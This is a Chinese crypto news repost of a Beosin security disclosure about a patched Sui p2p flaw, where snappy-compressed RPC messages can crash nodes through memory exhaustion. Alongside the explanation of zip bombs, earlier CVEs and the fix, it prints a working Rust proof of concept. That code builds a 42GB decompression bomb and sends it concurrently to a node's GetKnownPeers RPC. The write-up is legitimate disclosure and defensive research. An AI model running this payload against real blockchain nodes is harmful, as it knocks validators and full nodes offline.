风险提示:理性看待区块链,提高风险意识!
Beosin硬核安全研究 :内存炸弹漏洞导致Sui节点崩溃?
首页 > 业界 > 区块链 2023-09-04 12:12
摘要
目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞 。
币界网报道:

作者:Beosin安全研究专家Poet

目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。

前言

此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。

本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性。

什么是内存炸弹?

最早的内存炸弹是zip炸弹,也叫死亡zip,是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。

zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。

zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。

我们在Windows上做一个简单的实验:

利用如下命令生成一个内容全是0的,大小为1GB的文件:

fsutilfilecreatenewtest.txt1073741824

利用7zip命令,将文件压缩为zip格式:

7zatest.ziptest.txt

压缩后的文件大小为:1.20MB

由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1

其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。

我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:

事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。

内存炸弹一般防御方法

我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:

1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。

2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。

3还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。

历史上的“内存炸弹”漏洞

1 CVE-2023-3782

这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。

漏洞描述:

漏洞补丁:

我们可以看到,漏洞补丁限制了压缩系数。

2 CVE-2022-36114

这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。

漏洞描述:

漏洞补丁:

我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。

3 CVE-2022-32206

这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。

漏洞细节:

Sui漏洞描述

1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。

2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里:

impl Decoder for BcsSnappyDecoder { type Item = U; type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result { let compressed_size = buf.len(); let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader()); let mut bytes = Vec::with_capacity(compressed_size); //Decompress snappy_decoder.read_to_end(&mut bytes)?; //Deserialize bcs::from_bytes(bytes.as_slice()) } }

3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:

letmutanemo_config=config.p2p_config.anemo_config.clone().unwrap_or_default();//Setthemax_frame_sizetobe2GBtoworkaroundtheissueoftherebeingtoomany//stakingeventsintheepochchangetxn.anemo_config.max_frame_size=Some(2<<30);//sizeof2G!!!!!

4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。

5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。

6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。

如果内存不足,sui节点就会崩溃。

以下是我们的测试结果

我们可以看到,节点因为“Out of memory”而被系统“杀死”。

PoC

1 创建基于snappy算法的“内存炸弹”

//generatethe"memorybomb"//48.2M->1G//96.4M->2G//385M->8G//1.97G->42G////set"how_many_gb"tosetthedecompressedsizeof"bomb"letbuf=[0;1024];letfile=File::create(r"C:\Users\xxx\Desktop\42g").unwrap();letmutencoder=snap::write::FrameEncoder::new(&file);lethow_many_gb=42;for_iin0..1024*1024*how_many_gb{let_=encoder.write_all(&buf).unwrap();}return;

2 攻击节点

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network { let router = f(anemo::Router::new()); let mut config = Config::default(); config.max_frame_size = Some(2 << 30); // config.max_frame_size = Some(usize::MAX); config.outbound_request_timeout_ms = Some(100 * 1000); let network = anemo::Network::bind("0.0.0.0:0") .private_key(random_key()) .server_name(chain_id) .alternate_server_name("sui") .config(config) .start(router) .unwrap();
println!( "starting network {} {}", network.local_addr(), network.peer_id(), );
network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> { let network = build_network(|a| {a},chain_id); let (mut rec, _a) = network.subscribe()?; tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf); *request.route_mut() = "/sui.Discovery/GetKnownPeers".into(); // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into(); let response = network.rpc(peerid, request).await?; println!("{:?}", response); loop { sleep(Duration::from_millis(2000)).await; }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() { //read the "bomb" file. let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap(); let mut buf: Vec = Vec::new(); let _size = in_file.read_to_end(&mut buf).unwrap(); let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!! let concurrent_attack = 20; let target_ip = "192.168.153.129"; let target_port = 35561; //you can get your private network's chain_id from the sui-node's stdout. let chain_id = "sui-76e065b8"; for _i in 0..concurrent_attack { let bs = bs.clone(); tokio::spawn(async move { let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await; println!("error : {:?}", respone);
}); }
loop { sleep(Duration::from_millis(2000)).await; }}

补丁代码分析

补丁链接:

我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。

漏洞影响

这个漏洞可以导致单个节点崩溃(validator和fullnode)。漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。

漏洞修复

Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。

发表评论
发表评论
暂无评论
    相关阅读
    币界百科
    币界资讯
    一家医疗保健行业的公司警告称,重大网络安全事件发生后,数十万美国人面临身份盗窃和欺诈的风险。
    区块链
    2025-09-01 02:02:35
    花旗量化宏观研究主管亚历克斯桑德斯表示,美国股市 9 月份可能下跌,但这并不意味着投资者应该放弃投资组合。
    区块链
    2025-08-31 02:52:44
    安全研究人员警告说,2020 年首次发现的移动银行木马现在正瞄准全球金融机构。
    区块链
    2025-08-30 23:48:47
    新加坡,新加坡,2025 年 8 月 28 日,Chainwire
    区块链
    2025-08-28 22:53:50
    Solana 倡导组织的资金将帮助以太坊代币混合器 Tornado Cash 的开发者 Roman Storm 和 Alexey Pertsev 在美国和荷兰对他们各自的刑事定罪提出上诉。
    区块链
    2025-08-28 18:37:22
    2025年Meme币市场热度持续飙升,带来了众多惊喜。Luce代币自上线后价格猛涨,从0.00009033美元的发行价涨至0.05美元,最高涨幅接近千倍,还引发了数十个仿盘项目。MUSK币24小时内暴涨240%,最高触及0.037美元,马斯克家族的介入或成其下一轮爆发催化剂。此外,华尔街Pepe预售金额超5000万美元,XBIT交易所也重塑了Meme币交易生态。
    区块链百科
    2025-03-07 17:38:16
    今日以太坊行情有新动态。据最新数据,以太坊价格为2158.89美元,较之前下跌6.10%,市值达2620.2亿。24小时内,其波幅为10.13%,最高达2314.79美元,最低为2101.82美元,24H成交量达1048.25万,成交额为215.9亿。从技术指标看,基于MACD分析当前无明显趋势,但MACD柱状图持续为负并逐渐变短,显示多军力量增强。投资者需密切关注市场动态,DYOR,谨慎决策。
    区块链百科
    2025-03-07 16:05:32
    近期,加密货币市场对马斯克币的关注度居高不下。然而,一则潜在的利空消息正悄然袭来。美联储加息政策的调整,可能会对马斯克币造成负面影响。加息会使市场资金成本上升,投资者为规避风险,可能会从高风险的加密货币市场撤资,转而投向传统的低风险资产。对于马斯克币而言,资金的流出极有可能导致其价格下跌。此外,加息还可能引发市场对经济衰退的担忧,进一步降低投资者对加密货币的风险偏好。在这种情况下,投资者需保持警惕,密切关注市场动态,DYOR(自己做研究),谨慎做出投资决策。
    矿业百科
    2025-03-07 20:45:18
    近期,TRUMP币在加密货币市场可谓出尽风头。先是成功突破20美元大关,上线Upbit平台当日就有24%的惊人涨幅,巨鲸投资者狂买更添热度。然而,繁华背后风险暗藏。从基本面看,作为相对新兴代币,若背后项目无法持续创新与拓展应用,价格在大幅上涨后很可能回调。分析机构也指出,市场情绪波动加剧时,TRUMP币短期或面临回调压力。投资者需DYOR,密切关注其回调可能性。
    区块链百科
    2025-03-07 11:20:06
    在加密货币市场中,OGN交易吸引了众多投资者的目光。对于新手来说,了解OGN交易的相关要点至关重要。本文将深度解析OGN交易,从交易规则到市场动态,为你全面呈现OGN交易的方方面面。无论是交易时机的选择,还是风险的把控,都能为你提供有价值的参考。让你在OGN交易中少走弯路,更加从容地应对市场变化。
    数字货币百科
    2025-03-07 21:29:31
    推出加密货币和区块链行业早报《早8点》2761期,为您提供最新、最快的数字货币和区块链行业新闻。
    比特币新闻
    2025-07-21 08:31:30
    当华尔街还在笨拙摆弄他们的小型ETF时,赛勒已悄然推出迄今为止最精密的比特币资本工具:STRD。
    比特币新闻
    2025-06-03 15:31:45
    在数字资产蓬勃发展的当下,BSW交易所官网与NWC交易备受关注。BSW币交易所是专注数字资产交易的平台,采用银行级安全防护技术,交易速度快,支持多样数字资产,官网还提供安卓版APP下载,界面简洁易用。而对于NWC交易,若想参与需选可靠交易所,注册账户、充值资金后即可购买或出售NWC币,完成交易后还能提取到数字钱包存储。了解这些内容,能让投资者更好地把握数字资产交易的机遇,同时也需关注其中的风险与挑战,DYOR,谨慎操作。
    币种知识
    2025-03-04 10:30:16
    在当今的加密货币领域,PIVX平台与SHPING交易平台备受关注。PIVX平台有着其独特的加密特性和相关活动,吸引了众多加密爱好者的目光。而SHPING交易平台作为一个将品牌保护、产品安全和全球产品数据库汇集于一体的购物平台,以其独特的奖励机制和去中心化的加密货币Shping Coin推动自身发展。这两个平台在加密世界中各自展现出不同的魅力和潜力,它们的发展动态和创新模式值得深入探究,究竟它们会为加密领域带来怎样的变革与影响,让我们一同深入剖析。
    币种知识
    2025-03-04 11:20:57
    散户拒绝交易时代,大户究竟在赚什么?
    比特币新闻
    2025-08-28 08:31:17
    推荐专栏
    热门币种
    更多
    币种
    美元价格
    24H涨跌幅
    BTC比特币
    107,958.91 USDT
    ¥769,790.21
    -0.95%
    ETH以太坊
    4,373.40 USDT
    ¥31,184.09
    -0.16%
    USDT泰达币
    1.00000 USDT
    ¥7.13
    -0.01%
    XRP瑞波币
    2.75 USDT
    ¥19.60
    -2.59%
    BNB币安币
    857.21 USDT
    ¥6,112.25
    -0.28%
    SOL
    199.17 USDT
    ¥1,420.16
    -2.01%
    USDC
    0.99990 USDT
    ¥7.13
    0%
    TRX波场币
    0.34010 USDT
    ¥2.43
    +0.24%
    DOGE狗狗币
    0.21180 USDT
    ¥1.51
    -2.17%
    ADA艾达币
    0.80520 USDT
    ¥5.74
    -2.23%
    热搜币种
    更多
    币种
    美元价格
    24H涨跌幅
    OK币
    170.92 USDT
    ¥1,244.30
    -4.97%
    Conflux
    0.1911 USDT
    ¥1.39
    -2.85%
    Filecoin
    2.2541 USDT
    ¥16.41
    -1.76%
    Solana
    199.17 USDT
    ¥1,449.96
    -2.01%
    比特币
    107958.91 USDT
    ¥785,940.86
    -0.95%
    Livepeer Token
    6.7828 USDT
    ¥49.38
    -3.94%
    ChainLink
    23.0168 USDT
    ¥167.56
    -1.82%
    柚子
    0.485 USDT
    ¥3.53
    -1.3%
    以太坊
    4373.4 USDT
    ¥31,838.35
    -0.16%
    火币积分
    0.6967 USDT
    ¥5.07
    0%
    币安币
    857.21 USDT
    ¥6,240.49
    -0.28%
    狗狗币
    0.2118 USDT
    ¥1.54
    -2.17%
    最新快讯
    更多
    瑞典各市政府因针对 IT 系统提供商 Miljödata 的网络攻击冻结 1.5 BTC
    2025-09-01 08:31:48
    瑞典多地市政服务遭勒索软件攻击,黑客索要1.5枚BTC
    2025-09-01 08:31:47
    加密恐慌指数跌至46,市场已进入「恐慌」状态
    2025-09-01 08:25:29
    分析:本周五关注非农就业和失业数据。当前的加密货币市场调整没有显示出结束的迹象。
    2025-09-01 08:22:17
    比特币跌破10.8万美元
    2025-09-01 08:16:02
    BTC跌破108000 USDT
    2025-09-01 08:12:50
    币界网实时行情早报:BTC比特币价格跌破108000美元,24小时跌1.28%
    2025-09-01 08:09:37